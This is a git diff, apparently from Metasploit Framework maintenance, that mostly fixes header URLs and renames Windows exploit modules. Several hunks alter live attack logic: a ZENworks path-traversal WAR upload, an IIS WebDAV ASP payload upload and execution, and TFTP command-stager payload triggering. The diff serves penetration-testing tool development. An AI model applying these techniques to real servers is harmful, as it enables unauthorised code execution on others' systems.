+1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/umbraco_upload_aspx.rb b/modules/exploits/windows/http/umbraco_upload_aspx.rb index 7490e69cd6..490f35f88d 100644 --- a/modules/exploits/windows/http/umbraco_upload_aspx.rb +++ b/modules/exploits/windows/http/umbraco_upload_aspx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb index fe5289afc4..2466bffdee 100644 --- a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb +++ b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/webster_http.rb b/modules/exploits/windows/http/webster_http.rb index 0a2548e4f7..0cec534547 100644 --- a/modules/exploits/windows/http/webster_http.rb +++ b/modules/exploits/windows/http/webster_http.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index 493ab777cd..5c3e8725b5 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/xitami_if_mod_since.rb b/modules/exploits/windows/http/xitami_if_mod_since.rb index f10b39da33..bcb6a05fc3 100644 --- a/modules/exploits/windows/http/xitami_if_mod_since.rb +++ b/modules/exploits/windows/http/xitami_if_mod_since.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -60,11 +60,11 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - sock.put("GET / HTTP/1.1\r\n\r\n") - banner = sock.get(-1,3) + sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n") + banner = sock.get_once disconnect - if (banner =~ /Xitami/) + if (banner.to_s =~ /Xitami/) vprint_status("Banner: #{banner}") return Exploit::CheckCode::Detected end diff --git a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb index 717132a791..f0623ef54a 100644 --- a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/zenworks_uploadservlet.rb b/modules/exploits/windows/http/zenworks_uploadservlet.rb index 9d675fec6a..3772352100 100644 --- a/modules/exploits/windows/http/zenworks_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_uploadservlet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,16 +66,17 @@ class Metasploit3 < Msf::Exploit::Remote war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s - res = send_request_cgi( - { - 'uri' => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war", - 'method' => 'POST', - 'data' => war_data, - 'headers' => - { - 'Content-Type' => 'application/octet-stream', - } - }) + res = send_request_cgi({ + 'uri' => '/zenworks/UploadServlet', + 'method' => 'POST', + 'data' => war_data, + 'headers' => { + 'Content-Type' => 'application/octet-stream', + }, + 'vars_get' => { + 'filename' => "../../webapps/#{app_base}.war" + } + }) print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...") diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb index 6c116b8088..f77ed98532 100644 --- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb +++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module can be used to execute a payload on IIS servers that have world-writeable directories. The payload is uploaded as an ASP - script using a WebDAV PUT request. + script via a WebDAV PUT request. + + The target IIS machine must meet these conditions to be considered + as exploitable: It allows 'Script resource access', Read and Write + permission, and supports ASP. }, 'Author' => 'hdm', 'Platform' => 'win', @@ -36,6 +40,10 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ + # The USERNAME and PASSWORD are registered again to make them more obvious they're + # configurable. + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp']) ], self.class) end @@ -53,24 +61,25 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("Uploading #{asp.length} bytes to #{path_tmp}...") - res = send_request_cgi({ - 'uri' => path_tmp, - 'method' => 'PUT', - 'ctype' => 'application/octet-stream', - 'data' => asp, - }, 20) + begin + res = send_request_cgi({ + 'uri' => path_tmp, + 'method' => 'PUT', + 'ctype' => 'application/octet-stream', + 'data' => asp, + }, 20) + rescue Errno::ECONNRESET => e + print_error("#{e.message}. It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission.") + return + end if (! res) - print_error("Upload failed on #{path_tmp} [No Response]") + print_error("Connection timed out while uploading to #{path_tmp}") return end if (res.code < 200 or res.code >= 300) print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]") - case res.code - when 401 - print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") - end return end @@ -86,17 +95,15 @@ class Metasploit3 < Msf::Exploit::Remote }, 20) if (! res) - print_error("Move failed on #{path_tmp} [No Response]") + print_error("Connection timed out while moving to #{path}") return end if (res.code < 200 or res.code >= 300) print_error("Move failed on #{path_tmp} [#{res.code} #{res.message}]") case res.code - when 401 - print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") when 403 - print_warning("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.") + print_error("IIS possibly does not allow 'Read' permission, which is required to upload executable content.") end return end @@ -118,6 +125,10 @@ class Metasploit3 < Msf::Exploit::Remote if (res.code < 200 or res.code >= 300) print_error("Execution failed on #{path} [#{res.code} #{res.message}]") + case res.message + when 'Object Not Found' + print_error("The MOVE verb failed to rename the file. Possibly IIS doesn't allow 'Script Resource Access'.") + end return end @@ -138,7 +149,11 @@ class Metasploit3 < Msf::Exploit::Remote end if (res.code < 200 or res.code >= 300) - print_error("Deletion failed on #{path} [#{res.code} #{res.message}]") + # Changed this to a warning, because red is scary and if this aprt fails, + # honestly it's not that bad. In most cases this is probably expected anyway + # because by default we're using IWAM_*, which doesn't give us a lot of + # freedom to begin with. + print_warning("Deletion failed on #{path} [#{res.code} #{res.message}]") return end diff --git a/modules/exploits/windows/iis/ms01_023_printer.rb b/modules/exploits/windows/iis/ms01_023_printer.rb index d75850ad4e..b425fd66f9 100644 --- a/modules/exploits/windows/iis/ms01_023_printer.rb +++ b/modules/exploits/windows/iis/ms01_023_printer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS 5.0 Printer Host Header Overflow', + 'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow', 'Description' => %q{ This exploits a buffer overflow in the request processor of the Internet Printing Protocol ISAPI module in IIS. This diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb index bac4dd82e5..eab9230e60 100644 --- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb +++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,11 +12,11 @@ class Metasploit3 < Msf::Exploit::Remote # NOTE: This cannot be an HttpClient module since the response from the server # is not a valid HttpResponse include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution', + 'Name' => 'MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution', 'Description' => %q{ This module will execute an arbitrary payload on a Microsoft IIS installation that is vulnerable to the CGI double-decode vulnerability of 2001. @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ] ], + 'CmdStagerFlavor' => 'tftp', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 15 2001' )) @@ -191,16 +192,16 @@ class Metasploit3 < Msf::Exploit::Remote end # Use the CMD stager to get a payload running - execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname }) + execute_cmdstager({:temp => '.', :linemax => 1400, :cgifname => exe_fname}) # Save these file names for later deletion @exe_cmd_copy = exe_fname - @exe_payload = payload_exe + @exe_payload = stager_instance.payload_exe # Just for good measure, we'll make a quick, direct request for the payload # Using the "start" method doesn't seem to make iis very happy :( print_status("Triggering the payload via a direct request...") - mini_http_request({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1) + mini_http_request({ 'uri' => '/scripts/' + stager_instance.payload_exe, 'method' => 'GET' }, 1) handler diff --git a/modules/exploits/windows/iis/ms01_033_idq.rb b/modules/exploits/windows/iis/ms01_033_idq.rb index 0bbb743fb6..284ef19b3a 100644 --- a/modules/exploits/windows/iis/ms01_033_idq.rb +++ b/modules/exploits/windows/iis/ms01_033_idq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS 5.0 IDQ Path Overflow', + 'Name' => 'MS01-033 Microsoft IIS 5.0 IDQ Path Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the IDQ ISAPI handler for Microsoft Index Server. diff --git a/modules/exploits/windows/iis/ms02_018_htr.rb b/modules/exploits/windows/iis/ms02_018_htr.rb index ebf1d26274..c58d7acfc6 100644 --- a/modules/exploits/windows/iis/ms02_018_htr.rb +++ b/modules/exploits/windows/iis/ms02_018_htr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS 4.0 .HTR Path Overflow', + 'Name' => 'MS02-018 Microsoft IIS 4.0 .HTR Path Overflow', 'Description' => %q{ This exploits a buffer overflow in the ISAPI ISM.DLL used to process HTR scripting in IIS 4.0. This module works against diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb index 1a45aaadf2..3e201893f9 100644 --- a/modules/exploits/windows/iis/ms02_065_msadc.rb +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize super( - 'Name' => 'Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow', + 'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow', 'Description' => %q{ This module can be used to execute arbitrary code on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components diff --git a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb index cab8756d24..1b8c895093 100644 --- a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb +++ b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow', + 'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow', 'Description' => %q{ This exploits a buffer overflow in NTDLL.dll on Windows 2000 through the SEARCH WebDAV method in IIS. This particular diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 9c6c71482d..de5f2e17b7 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,11 +10,11 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager def initialize super( - 'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution', + 'Name' => 'MS99-025 Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution', 'Description' => %q{ This module can be used to execute arbitrary commands on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote # w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'tftp', 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 17 1998' ) @@ -331,12 +332,12 @@ class Metasploit3 < Msf::Exploit::Remote # Save these file names for later deletion @exe_cmd_copy = exe_fname - @exe_payload = payload_exe + @exe_payload = stager_instance.payload_exe # Grab this info from CmdStagerTFTP # Just for good measure, we'll make a quick, direct request for the payload # Using the "start" method doesn't seem to make iis very happy :( print_status("Triggering the payload via a direct request...") - res = send_request_raw({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1) + res = send_request_raw({ 'uri' => '/scripts/' + stager_instance.payload_exe, 'method' => 'GET' }, 1) end handler diff --git a/modules/exploits/windows/imap/eudora_list.rb b/modules/exploits/windows/imap/eudora_list.rb index c8977cd552..c5f04e6144 100644 --- a/modules/exploits/windows/imap/eudora_list.rb +++ b/modules/exploits/windows/imap/eudora_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/imail_delete.rb b/modules/exploits/windows/imap/imail_delete.rb index d1e4930b74..de067d9294 100644 --- a/modules/exploits/windows/imap/imail_delete.rb +++ b/modules/exploits/windows/imap/imail_delete.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/ipswitch_search.rb b/modules/exploits/windows/imap/ipswitch_search.rb index b39c0d4e98..f658c6baa2 100644 --- a/modules/exploits/windows/imap/ipswitch_search.rb +++ b/modules/exploits/windows/imap/ipswitch_search.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/mailenable_login.rb b/modules/exploits/windows/imap/mailenable_login.rb index 09a0376a5e..f6eb575e88 100644 --- a/modules/exploits/windows/imap/mailenable_login.rb +++ b/modules/exploits/windows/imap/mailenable_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/mailenable_status.rb b/modules/exploits/windows/imap/mailenable_status.rb index c4f85b4623..d67fcf75c2 100644 --- a/modules/exploits/windows/imap/mailenable_status.rb +++ b/modules/exploits/windows/imap/mailenable_status.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/mailenable_w3c_select.rb b/modules/exploits/windows/imap/mailenable_w3c_select.rb index e14ae84a4a..e13027054f 100644 --- a/modules/exploits/windows/imap/mailenable_w3c_select.rb +++ b/modules/exploits/windows/imap/mailenable_w3c_select.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/mdaemon_cram_md5.rb b/modules/exploits/windows/imap/mdaemon_cram_md5.rb index 5c8154328c..866fcb3116 100644 --- a/modules/exploits/windows/imap/mdaemon_cram_md5.rb +++ b/modules/exploits/windows/imap/mdaemon_cram_md5.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/mdaemon_fetch.rb b/modules/exploits/windows/imap/mdaemon_fetch.rb index 4362957696..36ee2fac67 100644 --- a/modules/exploits/windows/imap/mdaemon_fetch.rb +++ b/modules/exploits/windows/imap/mdaemon_fetch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb index 86a9f65f29..b24383dc90 100644 --- a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb +++ b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote user-supplied data prior to copying it to a fixed size memory buffer. Credit to Tim Taylor for discover the vulnerability. }, - 'Author' => [ 'Jacopo Cervini ' ], + 'Author' => [ 'Jacopo Cervini ' ], 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/imap/mercur_login.rb b/modules/exploits/windows/imap/mercur_login.rb index aa221fbe19..f243370a84 100644 --- a/modules/exploits/windows/imap/mercur_login.rb +++ b/modules/exploits/windows/imap/mercur_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/mercury_login.rb b/modules/exploits/windows/imap/mercury_login.rb index e4d813882a..45327f91f3 100644 --- a/modules/exploits/windows/imap/mercury_login.rb +++ b/modules/exploits/windows/imap/mercury_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Mercury/32 <= 4.01b LOGIN Buffer Overflow', + 'Name' => 'Mercury/32 LOGIN Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD LOGIN verb. By sending a specially crafted login command, a buffer diff --git a/modules/exploits/windows/imap/mercury_rename.rb b/modules/exploits/windows/imap/mercury_rename.rb index 6080430d34..4ef6097ca4 100644 --- a/modules/exploits/windows/imap/mercury_rename.rb +++ b/modules/exploits/windows/imap/mercury_rename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/imap/novell_netmail_append.rb b/modules/exploits/windows/imap/novell_netmail_append.rb index e9d76471be..bae7c3804c 100644 --- a/modules/exploits/windows/imap/novell_netmail_append.rb +++ b/modules/exploits/windows/imap/novell_netmail_append.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Novell NetMail <= 3.52d IMAP APPEND Buffer Overflow', + 'Name' => 'Novell NetMail IMAP APPEND Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND verb. By sending an overly long string, an attacker can overwrite the diff --git a/modules/exploits/windows/imap/novell_netmail_auth.rb b/modules/exploits/windows/imap/novell_netmail_auth.rb index 6fd23d987f..1cbb03654f 100644 --- a/modules/exploits/windows/imap/novell_netmail_auth.rb +++ b/modules/exploits/windows/imap/novell_netmail_auth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Novell NetMail <=3.52d IMAP AUTHENTICATE Buffer Overflow', + 'Name' => 'Novell NetMail IMAP AUTHENTICATE Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE GSSAPI command. By sending an overly long string, an attacker can overwrite the @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/imap/novell_netmail_status.rb b/modules/exploits/windows/imap/novell_netmail_status.rb index ceaca4d764..afe668e445 100644 --- a/modules/exploits/windows/imap/novell_netmail_status.rb +++ b/modules/exploits/windows/imap/novell_netmail_status.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Novell NetMail <= 3.52d IMAP STATUS Buffer Overflow', + 'Name' => 'Novell NetMail IMAP STATUS Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP STATUS verb. By sending an overly long string, an attacker can overwrite the diff --git a/modules/exploits/windows/imap/novell_netmail_subscribe.rb b/modules/exploits/windows/imap/novell_netmail_subscribe.rb index 9535b4a479..340c2ab009 100644 --- a/modules/exploits/windows/imap/novell_netmail_subscribe.rb +++ b/modules/exploits/windows/imap/novell_netmail_subscribe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Novell NetMail <= 3.52d IMAP SUBSCRIBE Buffer Overflow', + 'Name' => 'Novell NetMail IMAP SUBSCRIBE Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE verb. By sending an overly long string, an attacker can overwrite the diff --git a/modules/exploits/windows/isapi/ms00_094_pbserver.rb b/modules/exploits/windows/isapi/ms00_094_pbserver.rb index aa87ef8f5d..650164ac9e 100644 --- a/modules/exploits/windows/isapi/ms00_094_pbserver.rb +++ b/modules/exploits/windows/isapi/ms00_094_pbserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS Phone Book Service Overflow', + 'Name' => 'MS00-094 Microsoft IIS Phone Book Service Overflow', 'Description' => %q{ This is an exploit for the Phone Book Service /pbserver/pbserver.dll described in MS00-094. By sending an overly long URL argument diff --git a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb index ffc893c5e0..b9b5f4021a 100644 --- a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb +++ b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow', + 'Name' => 'MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow', 'Description' => %q{ This exploits a buffer overflow found in the nsiislog.dll ISAPI filter that comes with Windows Media Server. This diff --git a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb index 2545cb479e..bcd830845f 100644 --- a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb +++ b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow', + 'Name' => 'MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow', 'Description' => %q{ This is an exploit for the chunked encoding buffer overflow described in MS03-051 and originally reported by Brett diff --git a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb index 4b8d9e8e86..fb6abff5d1 100644 --- a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb +++ b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/isapi/w3who_query.rb b/modules/exploits/windows/isapi/w3who_query.rb index cf05fe3447..d870242fdc 100644 --- a/modules/exploits/windows/isapi/w3who_query.rb +++ b/modules/exploits/windows/isapi/w3who_query.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ldap/imail_thc.rb b/modules/exploits/windows/ldap/imail_thc.rb index 1d6dadaedf..50a1a5f24d 100644 --- a/modules/exploits/windows/ldap/imail_thc.rb +++ b/modules/exploits/windows/ldap/imail_thc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ldap/pgp_keyserver7.rb b/modules/exploits/windows/ldap/pgp_keyserver7.rb index ef9e4e2861..a193758e93 100644 --- a/modules/exploits/windows/ldap/pgp_keyserver7.rb +++ b/modules/exploits/windows/ldap/pgp_keyserver7.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/license/calicclnt_getconfig.rb b/modules/exploits/windows/license/calicclnt_getconfig.rb index dc01a9323e..4a7b594cd8 100644 --- a/modules/exploits/windows/license/calicclnt_getconfig.rb +++ b/modules/exploits/windows/license/calicclnt_getconfig.rb @@ -1,5 +1,5 @@ ## -# This 